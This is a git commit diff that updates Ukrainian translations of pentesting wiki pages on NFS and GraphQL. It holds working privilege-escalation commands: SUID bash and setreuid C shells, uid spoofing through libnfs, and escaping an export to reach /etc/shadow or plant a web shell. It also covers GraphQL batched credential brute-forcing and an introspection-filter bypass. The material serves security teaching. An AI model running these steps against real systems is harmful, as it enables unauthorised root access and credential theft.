Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash

This commit is contained in:
Translator 2025-02-05 00:26:06 +00:00
parent bef4b2649c
commit 1ae4867c7b
10 changed files with 410 additions and 236 deletions

View File

@ -1,18 +1,29 @@
{{#include ../../banners/hacktricks-training.md}}
Прочитайте файл _ **/etc/exports** _, якщо ви знайдете якусь директорію, яка налаштована як **no_root_squash**, тоді ви можете **доступитися** до неї **як клієнт** і **записувати всередині** цієї директорії **так, ніби** ви були локальним **root** машини.
# Squashing Basic Info
**no_root_squash**: Ця опція в основному надає повноваження користувачу root на клієнті доступатися до файлів на NFS сервері як root. І це може призвести до серйозних проблем з безпекою.
NFS зазвичай (особливо в linux) довіряє вказаним `uid` та `gid`, які надає клієнт, що підключається для доступу до файлів (якщо не використовується kerberos). Однак є деякі конфігурації, які можна налаштувати на сервері, щоб **змінити цю поведінку**:
**no_all_squash:** Це схоже на опцію **no_root_squash**, але застосовується до **не-root користувачів**. Уявіть, що у вас є оболонка як користувач nobody; перевірте файл /etc/exports; опція no_all_squash присутня; перевірте файл /etc/passwd; емулюйте не-root користувача; створіть файл suid як цей користувач (монтуванням за допомогою nfs). Виконайте suid як користувач nobody і станьте іншим користувачем.
- **`all_squash`**: Він зменшує всі доступи, відображаючи кожного користувача та групу на **`nobody`** (65534 беззнаковий / -2 знаковий). Таким чином, всі є `nobody`, і жоден користувач не використовується.
- **`root_squash`/`no_all_squash`**: Це за замовчуванням в Linux і **лише зменшує доступ з uid 0 (root)**. Таким чином, будь-який `UID` та `GID` довіряються, але `0` зменшується до `nobody` (тому жодна імперсонація root не можлива).
- **``no_root_squash`**: Ця конфігурація, якщо увімкнена, навіть не зменшує користувача root. Це означає, що якщо ви змонтуєте каталог з цією конфігурацією, ви зможете отримати до нього доступ як root.
# Підвищення Привілеїв
У файлі **/etc/exports**, якщо ви знайдете якийсь каталог, який налаштований як **no_root_squash**, тоді ви можете **доступитися** до нього **як клієнт** і **записувати всередині** цього каталогу **так, ніби** ви були локальним **root** машини.
## Віддалена Експлуатація
Для отримання додаткової інформації про **NFS** перевірте:
Якщо ви знайшли цю вразливість, ви можете її експлуатувати:
{{#ref}}
/network-services-pentesting/nfs-service-pentesting.md
{{#endref}}
- **Монтування цієї директорії** на клієнтській машині, і **як root копіювання** всередині змонтованої папки бінарного файлу **/bin/bash** і надання йому прав **SUID**, і **виконання з жертви** машини цього бінарного файлу bash.
# Privilege Escalation
## Remote Exploit
Опція 1, використовуючи bash:
- **Монтування цього каталогу** на клієнтській машині, і **як root копіювання** всередину змонтованої папки бінарного файлу **/bin/bash** та надання йому **SUID** прав, і **виконання з жертви** цього бінарного файлу bash.
- Зверніть увагу, що для того, щоб бути root всередині NFS спільного доступу, **`no_root_squash`** має бути налаштовано на сервері.
- Однак, якщо не увімкнено, ви можете підвищити привілеї до іншого користувача, скопіювавши бінарний файл до NFS спільного доступу та надавши йому дозвіл SUID як користувачу, до якого ви хочете підвищити привілеї.
```bash
#Attacker, as root user
mkdir /tmp/pe
@ -25,7 +36,9 @@ chmod +s bash
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
- **Монтування цього каталогу** на клієнтській машині та **як root копіювання** всередину змонтованої папки нашого скомпільованого вантажу, який зловживає правами SUID, надання йому **прав SUID** та **виконання з жертви** машини цього бінарного файлу (ви можете знайти тут деякі [C SUID вантажі](payloads-to-execute.md#c)).
Опція 2 з використанням скомпільованого коду на C:
- **Монтування цього каталогу** на клієнтській машині, і **як root копіювання** всередину змонтованої папки нашого скомпільованого вантажу, який зловживає правами SUID, надання йому **прав SUID**, і **виконання з жертви** машини цього бінарного файлу (ви можете знайти тут деякі [C SUID вантажі](payloads-to-execute.md#c)).
- Ті ж обмеження, що й раніше
```bash
#Attacker, as root user
gcc payload.c -o payload
@ -39,19 +52,19 @@ chmod +s payload
cd <SHAREDD_FOLDER>
./payload #ROOT shell
```
## Локальний експлойт
## Local Exploit
> [!NOTE]
> Зверніть увагу, що якщо ви можете створити **тунель від вашої машини до машини жертви, ви все ще можете використовувати віддалену версію для експлуатації цього підвищення привілеїв, тунелюючи необхідні порти**.\
> Наступний трюк стосується випадку, коли файл `/etc/exports` **вказує на IP**. У цьому випадку ви **не зможете використовувати** в жодному випадку **віддалений експлойт** і вам потрібно буде **зловживати цим трюком**.\
> Ще однією необхідною умовою для роботи експлойту є те, що **експорт всередині `/etc/export`** **повинен використовувати прапор `insecure`**.\
> Зверніть увагу, що якщо ви можете створити **тунель з вашої машини до машини жертви, ви все ще можете використовувати віддалену версію для експлуатації цього підвищення привілеїв, тунелюючи необхідні порти**.\
> Наступний трюк стосується випадку, коли файл `/etc/exports` **вказує на IP**. У цьому випадку ви **не зможете використовувати** в жодному випадку **віддалену експлуатацію** і вам потрібно буде **зловживати цим трюком**.\
> Інша необхідна умова для роботи експлуатації полягає в тому, що **експорт всередині `/etc/export`** **повинен використовувати прапор `insecure`**.\
> --_Я не впевнений, що якщо `/etc/export` вказує на IP-адресу, цей трюк спрацює_--
## Основна інформація
## Basic Information
Сценарій передбачає експлуатацію змонтованого NFS-спільного ресурсу на локальній машині, використовуючи недолік у специфікації NFSv3, який дозволяє клієнту вказувати свій uid/gid, що потенційно може дозволити несанкціонований доступ. Експлуатація передбачає використання [libnfs](https://github.com/sahlberg/libnfs), бібліотеки, яка дозволяє підробляти виклики NFS RPC.
Сценарій передбачає експлуатацію змонтованого NFS-спільного ресурсу на локальній машині, використовуючи недолік у специфікації NFSv3, який дозволяє клієнту вказувати свій uid/gid, що потенційно дозволяє несанкціонований доступ. Експлуатація передбачає використання [libnfs](https://github.com/sahlberg/libnfs), бібліотеки, яка дозволяє підробляти виклики NFS RPC.
### Компіляція бібліотеки
### Compiling the Library
Кроки компіляції бібліотеки можуть вимагати коригувань залежно від версії ядра. У цьому конкретному випадку системні виклики fallocate були закоментовані. Процес компіляції включає наступні команди:
```bash
@ -62,34 +75,29 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib
```
### Проведення експлуатації
Експлуатація полягає у створенні простого C програми (`pwn.c`), яка підвищує привілеї до root, а потім виконує оболонку. Програма компілюється, а отриманий бінарний файл (`a.out`) розміщується на загальному ресурсі з suid root, використовуючи `ld_nfs.so` для підробки uid у викликах RPC:
Експлуатація полягає у створенні простого C програми (`pwn.c`), яка підвищує привілеї до root, а потім виконує оболонку. Програма компілюється, а отриманий бінарний файл (`a.out`) розміщується на загальному доступі з suid root, використовуючи `ld_nfs.so` для підробки uid у викликах RPC:
1. **Скомпілюйте код експлуатації:**
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
2. **Розмістіть експлуатацію на загальному ресурсі та змініть її дозволи, підробляючи uid:**
2. **Розмістіть експлойт на загальному доступі та змініть його дозволи, підробивши uid:**
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
3. **Виконайте експлуатацію для отримання привілеїв root:**
3. **Виконайте експлойт для отримання прав root:**
```bash
/mnt/share/a.out
#root
```
## Bonus: NFShell для прихованого доступу до файлів
## Бонус: NFShell для прихованого доступу до файлів
Після отримання доступу root, для взаємодії з NFS загальним ресурсом без зміни власності (щоб уникнути залишення слідів) використовується Python скрипт (nfsh.py). Цей скрипт налаштовує uid, щоб відповідати uid файлу, до якого здійснюється доступ, що дозволяє взаємодіяти з файлами на загальному ресурсі без проблем з дозволами:
Once root access is obtained, to interact with the NFS share without changing ownership (to avoid leaving traces), a Python script (nfsh.py) is used. This script adjusts the uid to match that of the file being accessed, allowing for interaction with files on the share without permission issues:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html

View File

@ -6,26 +6,63 @@
**NFS** - це система, розроблена для **клієнт/сервер**, яка дозволяє користувачам безперешкодно отримувати доступ до файлів через мережу, ніби ці файли знаходяться в локальному каталозі.
Помітним аспектом цього протоколу є відсутність вбудованих **механізмів аутентифікації** або **авторизації**. Натомість авторизація покладається на **інформацію файлової системи**, при цьому сервер відповідає за точний переклад **інформації про користувача, наданої клієнтом**, у необхідний **формат авторизації** файлової системи, в основному слідуючи **синтаксису UNIX**.
Аутентифікація зазвичай покладається на **ідентифікатори `UID`/`GID` UNIX та членство в групах**. Однак виникає проблема через потенційне невідповідність у **відображеннях `UID`/`GID`** між клієнтами та серверами, що не залишає місця для додаткової перевірки з боку сервера. Внаслідок цього протокол найкраще підходить для використання в **достовірних мережах**, враховуючи його залежність від цього методу аутентифікації.
**Порт за замовчуванням**: 2049/TCP/UDP (крім версії 4, вона просто потребує TCP або UDP).
**Порт за замовчуванням**: 2049/TCP/UDP (крім версії 4, їй потрібен лише TCP або UDP).
```
2049/tcp open nfs 2-3 (RPC #100003
```
### Аутентифікація
Помітним аспектом цього протоколу є його звичайна відсутність вбудованих **механізмів аутентифікації** або **авторизації**. Натомість авторизація покладається на **інформацію файлової системи**, при цьому сервер відповідає за точний переклад **інформації про користувача, наданої клієнтом**, у необхідний для файлової системи **формат авторизації**, переважно слідуючи **синтаксису UNIX**.
Аутентифікація зазвичай покладається на **ідентифікатори `UID`/`GID` UNIX та членство в групах**. Однак виникає проблема через потенційне невідповідність у **відображеннях `UID`/`GID`** між клієнтами та серверами, що не залишає місця для додаткової перевірки з боку сервера. Більше того, ці дані надсилаються клієнтом і довіряються сервером, тому зловмисний клієнт може потенційно **вдаватися до іншого користувача, надсилаючи більш привілейовані `uid` та `gid`**.
**Однак зверніть увагу, що за замовчуванням неможливо видавати себе за `UID` 0 (root) за допомогою NFS. Більше про це в розділі про стиснення.**
#### Хости
Для кращої (або деякої) авторизації ви можете вказати **хости**, які можуть отримати доступ до NFS-ресурсу. Це можна зробити у файлі Linux `/etc/exports`. Наприклад:
```
/PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
/media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i)
```
Як ви можете бачити, це дозволяє налаштувати конкретну **IP** або **hostname** для доступу до спільного ресурсу. Тільки ця адреса зможе отримати доступ до спільного ресурсу.
### Версії
- **NFSv2**: Ця версія відзначається широкою сумісністю з різними системами, що підкреслює її значення завдяки початковим операціям переважно через UDP. Будучи **найстарішою** у серії, вона заклала основу для майбутніх розробок.
- **NFSv2**: Цю версію визнано за її широку сумісність з різними системами, що підкреслює її значення з початковими операціями, переважно через UDP. Будучи **найстарішою** у серії, вона заклала основу для майбутніх розробок.
- **NFSv3**: Введена з рядом покращень, NFSv3 розширила можливості свого попередника, підтримуючи змінні розміри файлів і пропонуючи покращені механізми звітності про помилки. Незважаючи на свої досягнення, вона стикалася з обмеженнями в повній зворотній сумісності з клієнтами NFSv2.
- **NFSv4**: Важлива версія в серії NFS, NFSv4 представила набір функцій, розроблених для модернізації обміну файлами через мережі. Серед помітних покращень - інтеграція Kerberos для **високої безпеки**, можливість проходження через брандмауери та роботи через Інтернет без необхідності в портмапперах, підтримка списків контролю доступу (ACL) та впровадження операцій на основі стану. Її покращення продуктивності та впровадження протоколу збереження стану вирізняють NFSv4 як важливий крок вперед у технологіях обміну файлами в мережі.
- **NFSv4**: Важлива версія в серії NFS, NFSv4 представила набір функцій, призначених для модернізації обміну файлами через мережі. Помітні покращення включають інтеграцію Kerberos для **високої безпеки**, можливість проходження через брандмауери та роботи через Інтернет без необхідності в портмапперах, підтримку списків контролю доступу (ACL) та впровадження операцій на основі стану. Її покращення продуктивності та впровадження станового протоколу відрізняють NFSv4 як важливий крок вперед у технологіях обміну файлами в мережі.
- Зверніть увагу, що дуже дивно знайти хост Linux NFS, що підтримує аутентифікацію kerberos.
Кожна версія NFS була розроблена з метою задовольнити еволюційні потреби мережевих середовищ, поступово покращуючи безпеку, сумісність і продуктивність.
Кожна версія NFS була розроблена з метою задовольнити еволюціонуючі потреби мережевих середовищ, поступово покращуючи безпеку, сумісність і продуктивність.
### Стискання
Як згадувалося раніше, NFS зазвичай довіряє `uid` і `gid` клієнта для доступу до файлів (якщо не використовується kerberos). Однак є деякі конфігурації, які можна налаштувати на сервері, щоб **змінити цю поведінку**:
- **all_squash**: Він стискає всі доступи, відображаючи кожного користувача та групу на **`nobody`** (65534 unsigned / -2 signed). Таким чином, всі є `nobody`, і жоден користувач не використовується.
- **root_squash/no_all_squash**: Це за замовчуванням на Linux і **лише стискає доступ з uid 0 (root)**. Таким чином, будь-який `UID` і `GID` довіряються, але `0` стискається до `nobody` (тому жодна імперсонація root не можлива).
- **no_root_squash**: Ця конфігурація, якщо увімкнена, навіть не стискає користувача root. Це означає, що якщо ви змонтуєте каталог з цією конфігурацією, ви зможете отримати до нього доступ як root.
### Перевірка підкаталогу
Доступно лише на Linux. man(5) exports говорить: "Якщо підкаталог файлової системи експортується, але вся файлова система не експортується, то щоразу, коли надходить запит NFS, сервер повинен перевірити не лише те, що доступний файл знаходиться в відповідній файловій системі (що легко), але й те, що він знаходиться в експортованому дереві (що складніше). Цю перевірку називають перевіркою підкаталогу."
У Linux функція **`subtree_check` вимкнена** за замовчуванням.
## Перерахування
### Showmount
Це можна використовувати для **отримання інформації з сервера NFSv3**, наприклад, списку **експортів**, хто **дозволений отримати доступ** до цих експорту, і які клієнти підключені (що може бути неточно, якщо клієнт відключається без повідомлення серверу).
У **клієнтів NFSv4 просто безпосередньо отримують доступ до /export** і намагаються отримати доступ до експорту звідти, зазнаючи невдачі, якщо це недійсно або несанкціоновано з будь-якої причини.
Якщо інструменти, такі як `showmount` або модулі Metasploit, не показують інформацію з порту NFS, це потенційно сервер NFSv4, який не підтримує версію 3.
```bash
showmount -e <IP>
```
### Корисні скрипти nmap
```bash
nfs-ls #List NFS exports and check permissions
@ -36,13 +73,17 @@ nfs-statfs #Disk statistics and info from NFS share
```bash
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### Монтування
### nfs_analyze
Щоб дізнатися, **яка папка** доступна на сервері для монтування, ви можете запитати її за допомогою:
Цей інструмент з [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) може бути використаний для отримання великої кількості даних з NFS сервера, таких як **монтажі**, підтримувані версії NFS, підключені IP-адреси, і навіть чи можливо **вийти з експорту** в інші папки в FS або **чи увімкнено `no_root_squash`**.
## Mounting
Щоб дізнатися, **яка папка** доступна на сервері для монтажу, ви можете запитати її, використовуючи:
```bash
showmount -e <IP>
```
Потім змонтуйте його, використовуючи:
Потім змонтуйте його за допомогою:
```bash
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
```
@ -53,22 +94,47 @@ mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
mkdir /mnt/new_back
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
```
## Permissions
## Атаки
Якщо ви змонтуєте папку, яка містить **файли або папки, доступні лише деяким користувачам** (за **UID**). Ви можете **створити** **локально** користувача з цим **UID** і, використовуючи цього **користувача**, ви зможете **доступитися** до файлу/папки.
### Довіра до UID та GID
## NSFShell
Звичайно, єдина проблема полягає в тому, що за замовчуванням неможливо видавати себе за root (`UID` 0). Однак можливо видавати себе за будь-якого іншого користувача або, якщо увімкнено `no_root_squash`, ви також можете видавати себе за root.
Щоб легко перерахувати, змонтувати та змінити UID і GID для доступу до файлів, ви можете використовувати [nfsshell](https://github.com/NetDirect/nfsshell).
- Якщо ви монтуєте папку, яка містить **файли або папки, доступні лише деякому користувачу** (за **UID**). Ви можете **створити** **локально** користувача з цим **UID** і, використовуючи цього **користувача**, ви зможете **отримати доступ** до файлу/папки.
- Інструмент **`fuse_nfs`** з [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) завжди надсилатиме необхідні UID та GID для доступу до файлів.
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
### Підвищення привілеїв SUID
## Config files
Перевірте сторінку:
{{#ref}}
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
{{#endref}}
### Вихід з експорту
У цій [чудовій статті](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) можна побачити, що можливо **вийти з експорту, щоб отримати доступ до інших папок у файловій системі**.
Отже, якщо експорт експортує папку, яка є **підпапкою** **всіх файлових систем**, можливо отримати доступ до файлів поза експортом, якщо **`subtree_check`** вимкнено. І за замовчуванням це **вимкнено в Linux**.
Наприклад, якщо NFS-сервер експортує `/srv/`, а `/var/` знаходиться в тій же файловій системі, можливо читати журнали з `/var/log/` або зберігати веб-оболонку в `/var/www/`.
Більше того, зверніть увагу, що за замовчуванням лише користувач root (0) захищений від видавання себе (перевірте розділ Squash). Однак, якщо файл **належить root, але група не 0, до нього можна отримати доступ**. Наприклад, файл `/etc/shadow` належить root, але група `shadow` (gid 42 на Debian). Отже, до нього можна отримати доступ за замовчуванням!
Інструмент **`nfs_analyze`** з [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) створений для підтримки цієї атаки проти файлових систем ext4, xfs, btrfs у версії 3 (також має бути можливим у v4).
### NSFShell
Щоб легко перерахувати, змонтувати та змінити UID і GID для отримання доступу до файлів, ви можете використовувати [nfsshell](https://github.com/NetDirect/nfsshell).
[Чудовий туторіал по NFSShell.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
## Конфігураційні файли
```
/etc/exports
/etc/lib/nfs/etab
```
### Небезпечні налаштування
## Небезпечні налаштування
- **Дозволи на читання та запис (`rw`):** Це налаштування дозволяє як читання, так і запис у файлову систему. Важливо враховувати наслідки надання такого широкого доступу.
@ -78,11 +144,11 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
- **Власність файлів root (`no_root_squash`):** З цим налаштуванням файли, створені користувачем root, зберігають свій оригінальний UID/GID 0, ігноруючи принцип найменших привілеїв і потенційно надаючи надмірні дозволи.
- **Несквашування всіх користувачів (`no_all_squash`):** Ця опція забезпечує збереження ідентичностей користувачів по всій системі, що може призвести до проблем з дозволами та контролем доступу, якщо не буде правильно оброблено.
- **Не стиснення всіх користувачів (`no_all_squash`):** Ця опція забезпечує збереження ідентичностей користувачів по всій системі, що може призвести до проблем з дозволами та контролем доступу, якщо не буде правильно оброблено.
## Підвищення привілеїв за допомогою неправильних налаштувань NFS
[NFS no_root_squash та no_all_squash підвищення привілеїв](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
[NFS no_root_squash and no_all_squash privilege escalation](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
## HackTricks Автоматичні команди
```

View File

@ -10,9 +10,9 @@ GraphQL **підкреслюється** як **ефективна альтер
З появою нових технологій, включаючи GraphQL, також виникають нові вразливості безпеки. Ключовим моментом є те, що **GraphQL за замовчуванням не включає механізми аутентифікації**. Відповідальність за впровадження таких заходів безпеки лежить на розробниках. Без належної аутентифікації кінцеві точки GraphQL можуть розкривати чутливу інформацію неаутентифікованим користувачам, що становить значний ризик для безпеки.
### Атаки методом грубої сили на каталоги та GraphQL
### Атаки грубої сили на каталоги та GraphQL
Для виявлення відкритих екземплярів GraphQL рекомендується включення специфічних шляхів у атаки методом грубої сили на каталоги. Ці шляхи:
Для виявлення відкритих екземплярів GraphQL рекомендується включення специфічних шляхів у атаки грубої сили на каталоги. Ці шляхи:
- `/graphql`
- `/graphiql`
@ -45,7 +45,7 @@ Graphql зазвичай підтримує **GET**, **POST** (x-www-form-urlenc
```bash
query={__schema{types{name,fields{name}}}}
```
За допомогою цього запиту ви знайдете назви всіх типів, що використовуються:
За допомогою цього запиту ви знайдете назву всіх використовуваних типів:
![](<../../images/image (1036).png>)
```bash
@ -158,7 +158,7 @@ name
}
}
```
Запит інлайн-інтроспекції:
Вбудований запит на інспекцію:
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
@ -166,7 +166,7 @@ name
![](<../../images/image (363).png>)
Якщо інтроспекція увімкнена, ви можете використовувати [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager), щоб переглянути в графічному інтерфейсі всі опції.
Якщо інтроспекція увімкнена, ви можете використовувати [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) для перегляду всіх опцій у графічному інтерфейсі.
### Запитування
@ -192,8 +192,8 @@ query={flags{name, value}}
```javascript
query = { hiddenFlags }
```
В іншому прикладі, де було 2 об'єкти всередині об'єкта типу "_Query_": "_user_" та "_users_".\
Якщо цим об'єктам не потрібні жодні аргументи для пошуку, можна **отримати всю інформацію з них**, просто **попросивши** дані, які вам потрібні. У цьому прикладі з Інтернету ви могли б витягти збережені імена користувачів та паролі:
В іншому прикладі було 2 об'єкти всередині об'єкта типу "_Query_": "_user_" та "_users_".\
Якщо цим об'єктам не потрібні аргументи для пошуку, можна **отримати всю інформацію з них**, просто **попросивши** дані, які вам потрібні. У цьому прикладі з Інтернету ви могли б витягти збережені імена користувачів та паролі:
![](<../../images/image (880).png>)
@ -204,9 +204,9 @@ query = { hiddenFlags }
Схоже, що якимось чином він буде шукати, використовуючи аргумент "_**uid**_" типу _**Int**_.\
У будь-якому випадку, ми вже знали, що в розділі [Basic Enumeration](graphql.md#basic-enumeration) було запропоновано запит, який показував нам всю необхідну інформацію: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Якщо ви прочитаєте зображення, надане, коли я запускав цей запит, ви побачите, що "_**user**_" мав **arg** "_**uid**_" типу _Int_.
Якщо ви прочитаєте зображення, надане, коли я запускав цей запит, ви побачите, що "_**user**_" мав **аргумент** "_**uid**_" типу _Int_.
Отже, виконуючи легкий _**uid**_ брутфорс, я виявив, що в _**uid**=**1**_ було отримано ім'я користувача та пароль:\
Отже, виконуючи легкий _**uid**_ брутфорс, я виявив, що при _**uid**=**1**_ було отримано ім'я користувача та пароль:\
`query={user(uid:1){user,password}}`
![](<../../images/image (90).png>)
@ -219,7 +219,7 @@ query = { hiddenFlags }
**Трюк з вивантаженням рядка запиту (дякую @BinaryShadow\_)**
Якщо ви можете шукати за рядковим типом, наприклад: `query={theusers(description: ""){username,password}}` і ви **шукаєте порожній рядок**, це **вивантажить всі дані**. (_Зверніть увагу, що цей приклад не пов'язаний з прикладом з навчальних посібників, для цього прикладу припустимо, що ви можете шукати, використовуючи "**theusers**" за полем рядка під назвою "**description**"_).
Якщо ви можете шукати за рядковим типом, наприклад: `query={theusers(description: ""){username,password}}` і ви **шукаєте порожній рядок**, це **вивантажить всі дані**. (_Зверніть увагу, що цей приклад не пов'язаний з прикладом з навчальних посібників, для цього прикладу припустимо, що ви можете шукати, використовуючи "**theusers**" за рядковим полем під назвою "**description**"_).
### Пошук
@ -258,7 +258,7 @@ name
}
}r
```
Або навіть **відносини кількох різних об'єктів, використовуючи псевдоніми**:
Або навіть **відносини кількох різних об'єктів за допомогою псевдонімів**:
```javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
@ -336,10 +336,10 @@ releaseYear
Як пояснено в [**одній з вразливостей, описаних у цьому звіті**](https://www.landh.tech/blog/20240304-google-hack-50000/), директивне перевантаження передбачає виклик директиви навіть мільйони разів, щоб змусити сервер витрачати ресурси, поки його не буде можливо вивести з ладу (DoS).
### Пакетний брутфорс в 1 API запиті
### Пакетна брутфорс-атака в 1 API запиті
Цю інформацію було взято з [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Аутентифікація через GraphQL API з **одночасною відправкою багатьох запитів з різними обліковими даними** для перевірки. Це класична атака брутфорсом, але тепер можливо відправити більше ніж одну пару логін/пароль за один HTTP запит завдяки функції пакетування GraphQL. Цей підхід обманює зовнішні програми моніторингу швидкості, змушуючи їх думати, що все в порядку і немає бота, що намагається вгадати паролі.
Аутентифікація через GraphQL API з **одночасною відправкою багатьох запитів з різними обліковими даними** для перевірки. Це класична брутфорс-атака, але тепер можливо відправити більше ніж одну пару логін/пароль за один HTTP запит завдяки функції пакетної обробки GraphQL. Цей підхід обманює зовнішні програми моніторингу швидкості, змушуючи їх думати, що все в порядку і немає бота, який намагається вгадати паролі.
Нижче ви можете знайти найпростіше демонстраційне запит на аутентифікацію програми, з **3 різними парами електронна пошта/пароль одночасно**. Очевидно, що можливо відправити тисячі в одному запиті таким же чином:
@ -353,13 +353,13 @@ releaseYear
Все більше **graphql кінцевих точок відключають інспекцію**. Однак помилки, які graphql викидає, коли отримує несподіваний запит, достатні для інструментів, таких як [**clairvoyance**](https://github.com/nikitastupin/clairvoyance), щоб відтворити більшу частину схеми.
Більше того, розширення Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **спостерігає за запитами GraphQL API, що проходять через Burp** і **будує** внутрішню GraphQL **схему** з кожним новим запитом, який воно бачить. Воно також може відкрити схему для GraphiQL і Voyager. Розширення повертає фальшиву відповідь, коли отримує запит на інспекцію. В результаті GraphQuail показує всі запити, аргументи та поля, доступні для використання в API. Для отримання додаткової інформації [**перевірте це**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Більше того, розширення Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **спостерігає за запитами GraphQL API, які проходять через Burp** і **будує** внутрішню GraphQL **схему** з кожним новим запитом, який воно бачить. Воно також може відкрити схему для GraphiQL і Voyager. Розширення повертає фальшиву відповідь, коли отримує запит на інспекцію. В результаті GraphQuail показує всі запити, аргументи та поля, доступні для використання в API. Для отримання додаткової інформації [**перевірте це**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Гарний **словник** для виявлення [**суб'єктів GraphQL можна знайти тут**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Обхід захисту інспекції GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
Щоб обійти обмеження на запити інспекції в API, вставка **спеціального символу після ключового слова `__schema`** виявляється ефективною. Цей метод експлуатує загальні помилки розробників у шаблонах regex, які намагаються заблокувати інспекцію, зосереджуючись на ключовому слові `__schema`. Додаючи символи, такі як **пробіли, нові рядки та коми**, які GraphQL ігнорує, але можуть не бути враховані в regex, обмеження можна обійти. Наприклад, запит на інспекцію з новим рядком після `__schema` може обійти такі захисти:
